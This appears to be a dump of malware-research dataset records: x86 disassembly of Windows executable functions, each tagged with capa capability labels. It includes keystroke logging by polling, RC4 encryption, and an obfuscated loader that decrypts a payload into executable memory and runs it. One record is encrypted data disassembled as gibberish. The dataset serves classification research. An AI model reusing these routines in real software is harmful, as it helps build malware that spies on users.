joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41b860
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0040d420
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x41b92b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x41b92b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x41b8de
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x41b8e9
or bh, 8
and edi, 0x8000000
je 0x41b904
mov eax, dword [0x43dfbc]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x41b92b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41bd00
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x41bd2b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x41bd4f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x41bd6a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x41dfaa
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x42a0b8
call fcn.0040da18
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x44]
mov dword [ebp - 0x18], eax
call fcn.00426a66
cmp dword [esi + 0x40], 0
mov ebx, dword [eax + 0xc]
je 0x41dfe9
call fcn.00426a66
mov ebx, dword [eax + 0xc]
push 5
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x41dff7
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x41e005
or eax, 0xffffffff
jmp 0x41e0ed
mov ecx, esi
call fcn.0041df20
mov dword [ebp - 0x14], eax
call fcn.0041fb79
xor edi, edi
cmp dword [ebp - 0x14], edi
mov dword [ebp - 0x20], edi
je 0x41e03c
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x41e03c
push edi
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
push esi
mov dword [ebp - 4], edi
call fcn.0041fb2d
push dword [ebp - 0x14]
call fcn.0041f65f
push ebx
push eax
push dword [ebp - 0x18]
mov ecx, esi
call fcn.0041dcb8
cmp eax, edi
je 0x41e0af
test byte [esi + 0x24], 0x10
je 0x41e07d
push 4
mov ecx, esi
pop ebx
call fcn.00421c7c
test ah, 1
je 0x41e075
push 5
pop ebx
push ebx
mov ecx, esi
call fcn.004216b6
cmp dword [esi + 0x1c], edi
je 0x41e0af
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.00421d62
jmp 0x41e0af
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], edi
je 0x41e0c3
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x41e0dc
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x41e0dc
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov ecx, esi
call fcn.0041df5a
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x421564
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4215a6
call fcn.00426a66
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4215a6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x42159d
xor eax, eax
jmp 0x4215ae
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004215b4
pop edi
pop esi
pop ebx
ret 4
Function at 0x425272
Capabilities:
Create http request

Disassembly:
mov eax, 0x42a518
call fcn.0040da18
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp + 0xc]
and dword [ebp - 4], 0
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x4252aa
call fcn.00426a66
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esi + 8], eax
jne 0x4252cf
push eax
push dword [esi + 4]
call fcn.00425ef1
jmp 0x4252db
push esi
push eax
mov ecx, 0x43c338
call fcn.004252ec
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 0x18

Function at 0x42559d
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap flags

Disassembly:
mov eax, 0x42a577
call fcn.0040da18
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.00422e66
mov eax, dword [ebp + 0x18]
lea ebx, [esi + 0x24]
mov dword [esi + 0x1c], eax
mov eax, dword [0x436748]
xor edi, edi
mov dword [ebx], eax
mov dword [ebp - 4], edi
push dword [ebp + 0x10]
lea ecx, [esi + 0xc]
mov byte [ebp - 4], 1
mov dword [esi], vtable.CInternetFile.0
call fcn.0041e79d
push dword [ebp + 0x14]
mov ecx, ebx
call fcn.0041e79d
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x1c]
mov dword [esi + 0x18], eax
mov dword [esi + 0x3c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x40], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x18

Function at 0x4272b6
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4272e4
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x427302
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0042721c
jmp 0x427302
mov eax, dword [esi + 0x14]
test eax, eax
je 0x427302
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0042721c
test edi, edi
mov eax, edi
jne 0x4272ec
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x40344c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x40345b
pop dword [ebp - 0x48]
mov eax, 0x92c46fba
sub eax, 0x92843b5f
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x38d5fe63
add dword [ebp - 0x58], 0x157c46e8
mov dword [ebp - 0x54], 0x1ab8752c
sub dword [ebp - 0x54], 0xe88528e7
mov dword [ebp - 0x50], 0xc46d871
add dword [ebp - 0x50], 0x40056bbd
mov dword [ebp - 0x4c], 0xe0c3e54c
add dword [ebp - 0x4c], 0x1f3c1ab4
lea eax, [ebp - 0x58]
push eax
mov eax, 0xfbdc7c9d
sub eax, 0xfb9c3c49
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x3d2b7ef5
add dword [ebp - 0x58], 0x3746ea61
mov dword [ebp - 0x54], 0xc85c1e39
sub dword [ebp - 0x54], 0x86efbcc4
mov dword [ebp - 0x50], 0x2640bbb3
add dword [ebp - 0x50], 0x3d2eb0b9
mov dword [ebp - 0x4c], 0xacd5fefd
add dword [ebp - 0x4c], 0x532a0103
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xb5667130
sub eax, 0xb52630e0
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x361cf
push 0
call eax
mov ecx, 0x8f9bca
sub ecx, 0x8f56cc
mov ebx, eax
mov esi, 0x408400
add esi, dword [ebp - 0x48]
mov edi, 0x1a0dc0a7
sub edi, 0x6865c0
add dword [ebp - 0x24], edi
mov edx, dword [esi]
add dword [ebp - 0x38], edx
xor edx, edi
add dword [ebp - 4], ebx
mov dword [ebx], edx
sub dword [ebp - 0x28], ecx
add ebx, 0x9bbddde7
sub ebx, 0x9bbddde3
add esi, 4
loop 0x403577
add eax, 0xdbc5daf5
add eax, 0x243b2bd6
xor ebx, ebx
add ebx, eax
add eax, 0x33cbe970
sub eax, 0x33cbe96b
mov ecx, 0x54d757a6
add ecx, 0xab68a85a
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x41c070
Capabilities:
Encode data using xor

Disassembly:
inc edx
push ebp
stosd dword es:[edi], eax
xor edx, dword [edi]
or ecx, edx
push esi
arpl di, cx
and dword [edi - 0x23], esi
xor dword [0xbb2198b6], 0xffffffde
add eax, 0x533f208
xor eax, dword [0xbc3515cd]
xchg esi, eax
stosb byte es:[edi], al
pop edi
push edx
push ebp
jns 0x41c0c4
push ecx
out dx, al
rcl byte [esi], cl
adc byte [ebx - 0x23], bl
push ecx
xor al, 0x12
xor eax, 0x9bcbb94a
rcl byte [esi - 0x4b], 0xf3
test al, 0xe8
into
or edi, esi
cmc
mov eax, dword [0x60e854ec]
jmp 0x41c0ff
xor edx, dword [eax + 0x9bab048]
inc edx
dec ecx
dec esi
adc eax, 0x173b8ae
arpl word [edi], sp
scasb al, byte es:[edi]
mov eax, 0x27630173
push 0x76
or eax, 0x46706ad3
pop ecx
inc ebx
cmp dword [eax*8 + 0x5d240b5f], eax
pop ebp
mov esp, dword [ebx]
stosb byte es:[edi], al
aad 0x3e
scasd eax, dword es:[edi]
movsw word es:[edi], word [esi]
stc
mov ah, 0x74
add esi, dword [eax + esi*8 + 0xa9d5093]
dec esp
sub bl, byte [esi + 0x11]
invalid
lodsd eax, dword [esi]
add eax, 0x49ccbbd8
xor cl, byte [esi + 0x504d6d82]
dec esp
jne 0x41c0ce
mov byte [ebx + 0x490460ba], bh
jge 0x41c0d6
or byte [edx], bl
add cl, byte [eax]
out dx, eax
test byte [ecx - 0x62d52594], al
and byte [eax], al
or esp, dword [ebp + 0x42ed8c3e]
pop edx
fnstcw word [edx + 0x2d7fc850]
test al, 0xda
aas
out dx, al
mov eax, dword [0x570897f2]
fldenv [esi - 0x14b3bdfc]
adc word [0x6e13242e], 0x1116
pop edi
or al, 0x3c
dec eax
out dx, eax
retf 0x3095
Function at 0x427230
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4c280b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004b6ac0
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4272b2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004b418d
mov eax, dword [eax]
push 0x5b1254
push eax
call fcn.00489364
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004b6d4b
test bl, bl
je 0x4272b2
push 0x5b1254
lea ecx, [esp + 0xc]
call fcn.004b70db
push 0x5b4dcc
lea ecx, [esp + 0xc]
call fcn.004b70db
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4272ee
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004b6d4b
jmp 0x4273b9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x427372
lea edx, [esp + 0x7c]
push 0x5b4dc8
push edx
call fcn.00489364
add esp, 8
test eax, eax
je 0x427372
lea eax, [esp + 0x7c]
push 0x5b4dc4
push eax
call fcn.00489364
add esp, 8
test eax, eax
je 0x427372
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x427302
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004b6d4b
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x427bb0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x427c12
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x427c20
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4c288b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x5c1918]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x427d58
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x427c86
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004b6d4b
xor eax, eax
jmp 0x427dcf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004b6e88
push esi
lea ecx, [esp + 0xc]
call fcn.004b7117
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x427dad
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00427bb0
test eax, eax
jne 0x427dad
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00427bb0
test eax, eax
jne 0x427dad
lea eax, [esp + 0x14]
push 0x5b4de0
push eax
call fcn.0048a510
mov esi, eax
add esp, 8
test esi, esi
jne 0x427d8c
lea ecx, [esp + 0x14]
push 0x5b4ddc
push ecx
call fcn.0048a490
mov esi, eax
add esp, 8
test esi, esi
jne 0x427d8c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x427d8f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004b6e38
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x427c9e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004b6d4b
xor eax, eax
jmp 0x427dcf
mov byte [esi], 0
push 0x5b4dd8
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004b6d4b
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x43ae60
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x43aece
cmp si, 0x69
ja 0x43aece
add esi, 0xffd0
cmp si, 0x11
je 0x43ae9e
push 0x11
call edi
test ax, ax
jge 0x43ae9e
or esi, 0x2000
cmp si, 0x10
je 0x43aeb3
push 0x10
call edi
test ax, ax
jge 0x43aeb3
or esi, 0x4000
cmp si, 0x12
je 0x43aec8
push 0x12
call edi
test ax, ax
jge 0x43aec8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x43aedb
mov esi, 0xbd
jmp 0x43ae8f
cmp si, 0x6e
jne 0x43aee8
mov esi, 0xbe
jmp 0x43ae8f
cmp si, 0x6f
jne 0x43ae89
mov esi, 0xbf
jmp 0x43ae8f

Function at 0x43c5c0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x5d2f08]
xor edx, edx
cmp eax, edx
jne 0x43c5e6
xor eax, eax
mov byte [eax + 0x5d2e08], al
inc eax
cmp eax, 0x100
jl 0x43c5ce
mov dword [0x5d2f08], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x5d2e08
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x43c677
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x43c64a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x43c618
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x43c6f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x43c743
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x43c72a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x443180
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x443318
cmp ebp, ebx
jle 0x443318
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x4431de
dec eax
or eax, 0xfffffff8
inc eax
je 0x4431e5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x4431f4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x4431fb
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.004b6a8c
add esp, 4
cmp eax, ebx
je 0x44321c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.004b6a8c
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x44330e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x4432f5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4432e1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4432d6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4432e4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4432e4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x443280
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x443271
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret